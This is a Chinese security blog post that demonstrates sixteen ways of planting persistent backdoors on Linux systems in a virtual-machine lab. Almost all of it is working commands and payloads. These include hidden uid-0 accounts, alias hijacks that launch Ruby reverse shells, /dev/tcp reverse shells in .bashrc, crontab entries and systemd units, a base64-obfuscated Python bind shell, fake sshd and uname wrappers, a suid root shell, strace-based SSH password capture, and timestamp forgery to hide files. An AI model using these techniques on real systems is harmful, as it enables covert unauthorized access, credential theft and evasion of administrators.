freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Linux系统后门初步研究
2020-12-31 11:40:32

操作目的和应用场景

最近正在研究与Linux系统应急响应相关的技术,想通过这篇文章简述一下Linux系统后门的创建方法。网上关于Linux后门创建的文章很多,本文也有所借鉴,并会通过详细的步骤对后门的创建和利用方法进行描述。

在本文介绍的例子中,被攻击者一般都是虚拟机中的CentOS或ubuntu系统,攻击一般从宿主机的manjaro系统发起。

平台及工具版本

host系统:manjaro linux(192.168.242.1)

虚拟机管理程序:vmware workstation 16

虚拟机:CentOS 7(192.168.242.133)、ubuntu(192.168.242.143)、CentOS 6.5(192.168.242.132)

一、Linux系统创建uid为0的后门账户

(一)CentOS 7系统命令行创建uid为0的用户

1、 直接创建

useradd -o -u 0 backdoor && echo "Eu2xa2fu@#" | passwd backdoor --stdin

1609383876_5fed3fc4b676f48d5834f.png!small?1609383879082

经验证可以正常登录。

//通过交互式方式创建用户并设置口令

useradd -o -u 0 test1

passwd test1

2、 将命令与PROMPT_COMMAND结合

(1)写入/root/.bashrc文件

vi /root/.bashrc  //编辑root用户的配置文件,加入下面的内容

export PROMPT_COMMAND="/usr/sbin/useradd -o -u 0 hack &>/dev/null && echo hacker:123456 | /usr/sbin/chpasswd &>/dev/null && unset PROMPT_COMMAND"

保存退出

source /root/.bashrc  //执行文件中的指令,账户被创建。

以后每次切换到root时都会执行/root/.bashrc中的指令,从而创建账户。

(2)验证

cat /etc/passwd | grep hack

1609383955_5fed401321049288fb8a2.png!small?1609383957457

后门账户创建成功。

(二)Ubuntu系统

useradd -p 0`openssl passwd -1 -salt 'abc' pass1234` -u 0  -o -g root -G root -s /bin/bash hack

1609384052_5fed4074b29bd5127d60a.png!small?1609384055055

创建成功。

二、CentOS 7系统创建alias后门

(一)创建Linux系统命令如ls的别名

1、 受控端创建别名

//使用ruby实现反弹连接(使用netcat接收)。ruby的反弹连接建立后会转入后台,不暴露任何痕迹,非常隐蔽,推荐使用。注意内部的双引号都是"'"'"。

alias ls="alerts(){ ls $* --color=auto;ruby -rsocket -e 'exit if fork;c=TCPSocket.new("'"'"192.168.242.1"'"'","'"'"5555"'"'");while(cmd=c.gets);IO.popen(cmd,"'"'"r"'"'"){|io|c.print io.read}end';};alerts"


//使用ruby实现反弹连接(使用msfconsole接收),注意双引号的嵌套。

alias ls="alerts(){ ls $* --color=auto;ruby -rsocket -ropenssl -e 'exit if fork;c=OpenSSL::SSL::SSLSocket.new(TCPSocket.new("'"'"192.168.242.1"'"'","'"'"5555"'"'")).connect;while(cmd=c.gets);IO.popen(cmd.to_s,"r"){|io|c.print io.read}end';};alerts"


2、 攻击者监听本地端口

nc -l -p 5555


3、 受控端管理员执行ls命令(ruby,使用netcat接收)

1609384157_5fed40dd95fca84d53780.png!small?1609384159921

4、 攻击者获得反弹shell

1609384171_5fed40ebe4fbead310da8.png!small?1609384174494


(二)创建alias和unalias的别名

由于alias命令可以查看当前的别名,会让ls的反弹指令暴露。因此需要劫持alias命令,让它的输出中不显示反弹的指令。另外unalias命令会清除别名,因此也要对其进行劫持,避免ls的别名被清除。

1609384197_5fed41056353fce7cd27d.png!small?1609384200059


1、 创建unalias的别名

//若先创建alias的别名,那么alias就失去了原来alias的功能,则unalias的别名就无法创建了

alias unalias='alerts(){ if [ $# != 0 ]; then if [ $* != "ls" ]&&[ $* != "alias" ]&&[ $* != "unalias" ]; then unalias $*;else echo "-bash: unalias: ${*}: not found";fi;else echo "unalias: usage: unalias [-a] name [name ...]";fi;};alerts'

1609384216_5fed4118a474aaba4546b.png!small?1609384219083

不会清除ls别名。


2、 创建alias的别名

vi /tmp/.alias.txt  //加入下面的内容

alias egrep='egrep --color=auto'

alias fgrep='fgrep --color=auto'

alias grep='grep --color=auto'

alias l.='ls -d .* --color=auto'

alias ll='ls -l --color=auto'

alias ls='ls --color=auto'

alias vi='vim'

alias which='alias | /usr/bin/which --tty-only --read-alias --show-dot --show-tilde'

保存退出

alias alias="cat /tmp/.alias.txt"

1609384236_5fed412c8f83e5f2ce286.png!small?1609384239188


(三)alias加入隐蔽的位置

1、 在正常的位置创建合理的文件

vi /etc/yum/yum-update.rc  //创建文件,加入别名设置

alias ls="alerts(){ ls $* --color=auto;ruby -rsocket -e 'exit if fork;c=TCPSocket.new("'"'"192.168.242.1"'"'","'"'"5555"'"'");while(cmd=c.gets);IO.popen(cmd,"'"'"r"'"'"){|io|c.print io.read}end';};alerts"


alias unalias='alerts(){ if [ $# != 0 ]; then if [ $* != "ls" ]&&[ $* != "alias" ]&&[ $* != "unalias" ]; then unalias $*;else echo "-bash: unalias: ${*}: not found";fi;else echo "unalias: usage: unalias [-a] name [name ...]";fi;};alerts'


alias alias="cat /tmp/.alias.txt"

保存退出


2、 将正常文件的时间复制给包含alias的文件

touch -acmr version-groups.conf yum-update.rc


3、 利用alias别名实现连接

被攻击者操作:

1609384280_5fed415832fe2d75d4eb7.png!small?1609384282854


攻击者获得反弹shell:

1609384298_5fed416a502c0bff69710.png!small?1609384300891


三、CentOS 7系统创建bashrc后门

(一)攻击者将恶意指令写入~/.bashrc文件

su  //切换到root

echo 'bash -i >& /dev/tcp/192.168.242.1/5555 0>&1' > ~/.bashrc


(二)攻击者监听本地端口

nc -l -p 5555


(三)管理员登录被攻击服务器

su  //管理员先以普通用户身份登录,之后切换到root


(四)攻击者得到反弹连接

nc -l -p 5555

1609384325_5fed41857a763a2648330.png!small?1609384328097

得到shell,说明.bashrc文件中的反弹指令被执行。


四、CentOS 7系统创建crontab后门

(一)添加计划任务

方法1、使用crontab命令创建计划任务,并使用nc接收连接

1、添加非隐藏的计划任务

crontab -l | { cat; echo "*/1 * * * * bash -i >& /dev/tcp/192.168.242.1/5555 0>&1"; } | crontab -

//每分钟执行一次反弹连接

1609384355_5fed41a30c4701cd70a81.png!small?1609384357376


计划任务添加成功。


nc -l -p 5555  //攻击者监听本地端口

1609384372_5fed41b450d42d63058d7.png!small?1609384374844

得到shell,说明计划任务被执行。


2、以隐藏的方式加入计划任务

(crontab -l;printf "*/1 * * * * bash -i >& /dev/tcp/192.168.242.1/5555 0>&1;\rno crontab for `whoami`%100c\n")|crontab -

1609384393_5fed41c984b7e268faf3a.png!small?1609384395848

管理员使用crontab -l看不到添加的的计划任务。


解释:

crontab将用户的计划任务保存到“/var/spool/cron/用户名”文件中。crontab -l实际上是使用cat命令查看这个文件:

1609384408_5fed41d8469515b5aae74.png!small?1609384410670

但使用vim命令查看,这个文件的内容是:

1609384419_5fed41e3e35a1d107aa14.png!small?1609384422321

使用cat命令的-A选项也可以看到文件的真正内容:

cat -A /var/spool/cron/root

1609384440_5fed41f814e9919637726.png!small?1609384442484


攻击者得到反弹连接:

1609384452_5fed4204cb81cc224b201.png!small?1609384455622


方法2、直接写入/etc/crontab文件,并使用msfconsole接收连接

sh -c "echo '* * * * * root cd /tmp && mknod backpipe p && nc 192.168.242.1 5555 0<backpipe | /bin/bash 1>backpipe' >> /etc/crontab"


攻击者接收反弹连接

msfconsole

use exploit/multi/handler

set payload cmd/unix/reverse_bash

set lhost 192.168.242.1

set lport 5555

exploit


一分钟之后即可获得连接:

1609384480_5fed4220e69ff154d1a34.png!small?1609384483628


五、CentOS 7系统通过PROMPT_COMMAND环境变量创建后门

(一)创建后门,监听1025端口

vi ~user1/.bashrc  //修改配置文件,加入下面的内容

export PROMPT_COMMAND="lsof -i:1025 &>/dev/null || (python -c \"exec('aW1wb3J0IHNvY2tldCxvcyxzeXMKcz1zb2NrZXQuc29ja2V0KCkKcy5iaW5kKCgiIiwxMDI1KSkKcy5saXN0ZW4oMSkKKGMsYSk9cy5hY2NlcHQoKQp3aGlsZSAxOgogZD1jLnJlY3YoNTEyKQogaWYgJ2V4aXQnIGluIGQ6CiAgcy5jbG9zZSgpCiAgc3lzLmV4aXQoMCkKIHI9b3MucG9wZW4oZCkucmVhZCgpCiBjLnNlbmQocikK'.decode('base64'))\" 2>/dev/null &)"

保存退出

source ~/.bashrc  //使配置立即生效

netstat -an | grep :1025  //查看1025端口的监听情况。

1609384505_5fed4239026e936f32137.png!small?1609384507383

每次user1用户登录都会自动执行其.bashrc文件中的指令,也就是说,开始监听1025端口。


(二)攻击者远程连接

nc 192.168.242.133 1025

1609384524_5fed424caa9f0f786dee6.png!small?1609384527186

连接成功,得到shell。

六、CentOS 7系统创建ssh服务后门

原理:Linux软链接ssh后门需要ssh支持PAM认证。将sshd软链接名称设置为su,这样在命令启动后会到PAM配置中查找是否存在对应su的配置信息。

(一)创建ssh后门

ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=31337

1609384550_5fed426618650c58b0a2c.png!small?1609384552377

开始监听31337端口。


也可以使用下面的命令监听端口:

ln -sf /usr/sbin/sshd /usr/local/su;/usr/local/su -oPort=12345

ln -sf /usr/sbin/sshd /tmp/chsh;/tmp/chsh -oPort=12345

ln -sf /usr/sbin/sshd /tmp/chfn;/tmp/chfn -oPort=12345


(二)远程连接到ssh后门

ssh -p 31337 root@192.168.242.133

1609384580_5fed42845fad8acbf73ee.png!small?1609384582839

使用root/bin/ftp/mail当用户名,密码随意,就可登陆。

七、manjaro 20系统创建ssh客户端后门

(一)创建ssh命令的alias

被攻击者:manjaro 20系统,编辑用户的.bashrc配置文件。

vi ~/.bashrc  //文件末尾加入下面的指令

alias ssh='strace -o /tmp/sshpwd-`date '+%d%h%m%s'`.log -e read,write,connect -s2048 ssh'

保存退出

source ~/.bashrc


(二)获取ssh账户口令

1、 manjaro系统中的用户发起ssh连接

ssh user1@192.168.242.133  //正常用户执行ssh连接,在/tmp目录生成记录


2、 获取ssh账户/口令

cat /tmp/sshpwd-2411月111606192953.log  | grep -n password | grep write  //查找指定信息所在的行,这里是第89行

1609384629_5fed42b58a5e74cd004b3.png!small?1609384631883


less /tmp/sshpwd-2411月111606192953.log

输入89g,跳到第89行

1609384641_5fed42c1b9dfd9832fabc.png!small?1609384644286

密码就在这里:123456


八、CentOS 7系统创建ssh证书后门

(一)攻击者生成非对称密钥对

ssh-keygen -t rsa  //生成公私密钥对,输入密钥短语

1609384663_5fed42d71b512b46de7b0.png!small?1609384666451


(二)CentOS 7服务器配置允许公钥登录

vi /etc/ssh/sshd_config  //编辑配置文件,设置如下信息

PermitRootLogin yes

StrictModes no

PubkeyAuthentication yes

AuthorizedKeysFile %h/.ssh/authorized_keys

RSAAuthentication yes

保存退出

注意:

(1)RSAAuthentication yes这一行需要手写到配置文件中最后一行。

(2)AuthorizedKeysFile参数中,%h代表用的主目录,%h/后面有个点,没有点将会出现“Permission Denied (publickey)”的错误提示,无法连接。

(3)注意取消行首的注释符。

systemctl restart sshd  //重新启动ssh服务

1609384719_5fed430f1f4bf41730f8f.png!small?1609384721467

配置生效。


(三)攻击者上传证书

scp ~/.ssh/id_rsa.pub root@192.168.242.133:~  //攻击者将本地用户的公钥上传到服务器

1609384741_5fed4325852a805e4fb52.png!small?1609384743887

上传成功。注意传到用户的主目录即可,不要复制到~/.ssh/id_rsa.pub,这样会覆盖目标主机自己的公钥文件。注意id_rsa.pub文件不是隐藏的。


也可以使用 ssh-copy-id 将自己的公钥复制到目标系统

ssh-copy-id -i ~/.ssh/id_rsa.pub root@192.168.242.133


(四)CentOS 7服务器将攻击者公钥加入authorized_keys

cat /root/id_rsa.pub >> ~/.ssh/authorized_keys

systemctl restart sshd  //重启ssh服务

1609384768_5fed43403ee952e905ff0.png!small?1609384770549

(五)攻击者通过证书登录服务器

ssh -i /root/.ssh/id_rsa root@192.168.242.133

1609384784_5fed4350f29990fafc20b.png!small?1609384787507

//由于公钥上传到了服务器root账户的home目录,所以这里要指定root用户。如果不指定,则默认使用攻击者当前的用户—user1,而前面未向服务器的user1用户的home目录上传公钥,这样要登录还得要账户口令验证。


九、CentOS 7系统创建suid后门

(一)创建suid后门文件

1、 创建源代码文件

sudo echo 'int main() { setresuid(0,0,0); system("/bin/sh"); }' > privshell.c


2、 编译

sudo gcc -o privshell privshell.c  //编译为可执行文件,名为privshell


3、 予执行权限并设置suid标志位

sudo chown root:root privshell && sudo chmod u+s privshell


(二)普通用户执行suid后门获取root权限

./privshell

1609384815_5fed436fb50051d2f965f.png!small?1609384818126


十、CentOS 7系统创建systemd服务后门

(一)创建后门

1、 创建服务描述文件

cd /usr/lib/systemd/system

touch backdoor.service

vi backdoor.service  //编辑文件,加入下面的内容

[Unit]

Description=Very important backdoor.

After=network.target

[Service]

Type=forking

ExecStart=nc -e /bin/bash 192.168.242.1 5555 >/dev/null 2>&1

ExecReload=

ExecStop=

PrivateTmp=true

[Install]

WantedBy=multi-user.target

保存退出


2、 给予执行权限

chmod +x /usr/lib/systemd/system/backdoor.service


3、 使服务生效

systemctl daemon-reload  //重新读取服务信息


(二)攻击者监听本地端口

nc -l -p 5555


(三)被控端启动后门

systemctl enable backdoor

systemctl start backdoor


(四)攻击者获得shell

1609384852_5fed43940ca7642a8b23d.png!small?1609384854692


十一、CentOS 7系统创建tcp wrapper后门

TCP_Wrappers是一个工作在应用层的安全工具,它对某些具体应用或者服务可以起到一定的防护作用。比如说针对ssh、telnet、FTP等服务的请求,都会先受到TCP_Wrappers的拦截。

TCP_Wrappers有一个TCP的守护进程叫作tcpd。以telnet为例,每当有telnet的连接请求时,tcpd即会截获请求,先读取系统管理员所设置的访问控制文件,合乎要求,则会把这次连接原封不动的转给真正的telnet进程,由telnet完成后续工作;如果这次连接发起的ip不符合访问控制文件中的设置,则会中断连接请求。

(一)被攻击服务器操作

1、 创建tcp wrapper后门

vi /etc/hosts.allow  //编辑配置文件,加入下面的内容

ALL: ALL: spawn (bash -c "/bin/bash -i >& /dev/tcp/192.168.242.1/443 0>&1") & :allow

保存退出。

上面指令的含义是,允许所有的连接,并且当连接出现时,启动bash进行反弹连接。


(二)攻击者本地操作

1、 监听本地端口

sudo nc -l -p 443


2、 连接目标服务器

ssh 192.168.242.133  //连接目标服务器的22端口

1609384876_5fed43acd8ee186185cc4.png!small?1609384879140

无需输入口令


3、 接收反弹连接

1609384899_5fed43c3ae2fedaaff6bf.png!small?1609384902121

成功获取反弹shell,权限为root。


十二、ubuntu 1604系统创建rhosts++后门

(一)部署rsh服务

1、 安装rsh和xinetd

apt-get install rsh-client rsh-server xinetd


2、 配置xinetd

touch /etc/xinetd.d/rsh  && vi /etc/xinetd.d/rsh  //加入下面的内容

# default: on

# descrīption: The rshd server is the server for the rcmd(3) routine and, \

# consequently, for the rsh(1) program.  The server provides \

# remote execution facilities with authentication based on \

# privileged port numbers from trusted hosts.

service shell

{

disable = no

socket_type             = stream

wait                    = no

user                    = root

log_on_success          += USERID

log_on_failure          += USERID

server                  = /usr/sbin/in.rshd

}


/etc/xinetd.d/rlogin


# default: on

# descrīption: rlogind is the server for the rlogin(1) program.  The server \

# provides a remote login facility with authentication based on \

# privileged port numbers from trusted hosts.

service login

{

disable = no

socket_type             = stream

wait                    = no

user                    = root

log_on_success          += USERID

log_on_failure          += USERID

server                  = /usr/sbin/in.rlogind

}


/etc/xinetd.d/rexec


# default: off

# descrīption: Rexecd is the server for the rexec(3) routine.  The server \

# provides remote execution facilities with authentication based \

# on user names and passwords.

service exec

{

disable = no

socket_type             = stream

wait                    = no

user                    = root

log_on_success          += USERID

log_on_failure          += USERID

server                  = /usr/sbin/in.rexecd

}

保存退出


/etc/init.d/xinetd restart  //重启服务,rsh等服务随之启动


(二)创建rhosts++后门

1、 修改配置文件

vi /root/.rhosts  //编辑文件,加入下面的内容

+ +

保存退出


2、 攻击者远程访问ubuntu主机

rsh 192.168.242.143 date  //远程执行系统命令

1609384964_5fed440421ca884070a3a.png!small

执行成功


rsh 192.168.242.143 /bin/bash  //获取远程系统的shell

1609384979_5fed4413bca66e92152cb.png!small?1609384982334

后门创建成功。


十三、ubuntu 1604系统创建xinetd后门

(一)安装xinetd服务和telnetd服务

1、 安装xinetd和telnetd软件

sudo apt-get install xinetd telnetd

dpkg -L xinetd | grep '/usr/sbin/\|/etc/'  //查看xinetd的可执行文件和配置文件

/usr/sbin/xinetd

/usr/sbin/itox

/usr/sbin/xconv.pl

/etc/init

/etc/init/xinetd.conf

/etc/xinetd.conf

/etc/init.d

/etc/init.d/xinetd

/etc/default

/etc/default/xinetd

/etc/xinetd.d

/etc/xinetd.d/daytime

/etc/xinetd.d/time

/etc/xinetd.d/discard

/etc/xinetd.d/echo

/etc/xinetd.d/chargen


dpkg -L telnetd | grep '/usr/sbin\|/etc/'  //查看telnetd的可执行文件和配置文件

/usr/sbin

/usr/sbin/in.telnetd

telnetd软件包只有可执行文件,没有配置文件。


2、 配置xinetd

vi /etc/xinetd.d/telnet  //默认不存在,创建并编辑,加入下面内容

# default: on

# description: The telnet server serves telnet sessions; it uses \

# unencrypted username/password pairs for authentication.

service telnet

{

disable = no

flags = REUSE

socket_type = stream

wait = no

user = root

server = /usr/sbin/in.telnetd

log_on_failure += USERID

}

保存退出。


/etc/init.d/xinetd restart  //重启xinetd服务

netstat -an | grep :23  //查看端口监听情况


3、 允许root远程登录

vi /etc/securetty  //加入下面内容

pts/0

pts/1

pts/2

pts/3

保存退出。

service xinetd restart  //重启服务

这样root就可以通过pts/0到pts/3这几个终端登录linux了。


(二)配置telnetd后门

1、 创建后门脚本

touch telnetd.sh && chmod +x telnetd.sh

vi telnetd.sh  //编辑文件,加入下面的内容

#!/bin/bash

socat udp-connect:192.168.242.1:5555 exec:'bash -li',pty,stderr,sane 2>&1>/dev/null &

/usr/sbin/in.telnetd

保存退出。


2、 修改telnet服务配置文件

vi /etc/xinetd.d/telnet

server = /usr/sbin/in.telnetd

改为

server = /home/user1/telnetd.sh

保存退出。


/etc/init.d/xinetd restart  //重启xinetd服务

netstat -an | grep :23  //查看端口监听情况

1609385045_5fed44557d23ed55486d5.png!small?1609385047838


3、 攻击者监听本地端口

nc -ul -p 5555


4、 攻击者访问目标主机的telnet端口

telnet 192.168.242.143

telnet服务命令被触发,执行服务配置文件中指定的脚本。


5、 攻击者得到反弹shell

1609385053_5fed445d55074b912f93e.png!small?1609385056474


十四、CentOS 7系统创建冒充ssh服务程序的shell脚本后门

(一)被控端创建假冒的sshd文件

mv /usr/sbin/sshd /usr/bin/  //将真正的sshd程序转移

touch /usr/sbin/sshd  //创建假冒的sshd脚本文件

vi /usr/sbin/sshd  //编辑文件,加入下面的内容

#!/usr/bin/perl

exec"/bin/bash"if(getpeername(STDIN)=~/^..LF/);

exec{"/usr/bin/sshd"}"/usr/sbin/sshd",@ARGV;

保存退出

chmod +x /usr/sbin/sshd  //给予执行权限

systemctl restart sshd  //重启ssh服务,实际上执行了恶意脚本中的代码


(二)攻击者远程连接

socat STDIO TCP4:192.168.242.133:22,sourceport=19526

1609385081_5fed4479dd293d655a0d6.png!small?1609385084480

注意必须加上源端口参数。


十五、CentOS 7系统创建可以冒充系统命令的shell脚本后门

(一)攻击者在被控制的服务器上创建冒充uname程序的脚本

touch /usr/local/bin/uname  //创建后门脚本文件

vi /usr/local/bin/uname  //编辑文件,加入下面的内容

#!/bin/bash

nc -l -v -p 4444 -e /bin/bash 2>/dev/null &

socat TCP4-Listen:3177,fork EXEC:/bin/bash 2>/dev/null &

socat SCTP-Listen:1177,fork EXEC:/bin/bash 2>/dev/null &

perl -MIO -e'$s=new IO::Socket::INET(LocalPort=>1337,Listen=>1);while($c=$s->accept()){$_=<$c>;print $c `$_`;}' 2>/dev/null &

/bin/uname $@

保存退出。上面的四条监听端口的命令选择执行其中一条就可以。


(二)管理员运行被冒充的命令

uname -r

1609385122_5fed44a28821c0130652a.png!small?1609385124911

可以看到,执行是正常的。但是端口也暗中开始监听了:

1609385132_5fed44aca51e5c749b1e7.png!small?1609385134999


(三)攻击者远程连接被控端

nc 192.168.242.133 4444

1609385140_5fed44b44a016b4e4abaa.png!small?1609385142737

四个端口都可以连接。


十六、CentOS 6.5系统使用icmp后门prism

(一)下载prism包

https://github.com/andreafabrizi/prism/


(二)攻击者本地操作

1、 解压缩,编译prism.c,但不要执行

gcc -DDETACH -m32 -Wall -s -o prism prism.c

1609385274_5fed453aef3364d9738c3.png!small?1609385277548

编译成功,生成了可执行文件。


2、 prism可执行文件传送到受控端

scp prism user1@192.168.242.132:/home/user1/

1609385284_5fed4544205bd4fe684d6.png!small?1609385286569


3、 攻击者监听本地端口

nc -l -p 6666


(三)受控端的操作

1、 为了正常运行prism,需要安装下面的软件

yum install glibc.i686


2、 运行prism

./prism   //以root身份运行

1609385298_5fed45525566d7f56e24d.png!small?1609385300684

运行后没有提示


(四)攻击者本地操作

1、 运行sendPacket.py,指定受控端IP地址、连接口令、控制端IP地址和监听端口

python2 sendPacket.py 192.168.242.132 p4ssw0rd 192.168.242.1 6666

连接口令默认为p4ssw0rd。


2、 监听程序接收到反弹连接

1609385308_5fed455c493355df323d4.png!small?1609385310684


(五)检查通信流量

最初的sendPacket.py发出的是icmp包。抓包确认:

1609385320_5fed4568e5927ced0bbf4.png!small?1609385323559

第一个包是ICMP request,包的内容中可以看到反弹地址和连接口令。

1609385339_5fed457b836eca01a6ac0.png!small?1609385341994

后面的包就都是TCP协议的数据包了。


控制端发出cat /etc/passwd命令,从受控端回传给控制端的数据包来看,能看出源、目的IP地址,源、目的端口。并且还能看到数据,是cat /etc/passwd命令的结果。

1609385351_5fed45879b7b6d2748daa.png!small?1609385354515


所以prism只是通过icmp进行连接的触发,后续的命令和都是通过TCP协议传输的。该软件适用于攻击者无法主动连接到服务器的TCP/UDP端口,但是可以ping通服务器的情况。prism在服务器上监听icmp请求,并验证连接口令。验证通过之后服务器主动连接到攻击者的VPS,攻击者得到反弹shell。由此可见prism是一个icmp后门。

# 后门 # 系统安全 # linux安全 # Backdoor
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录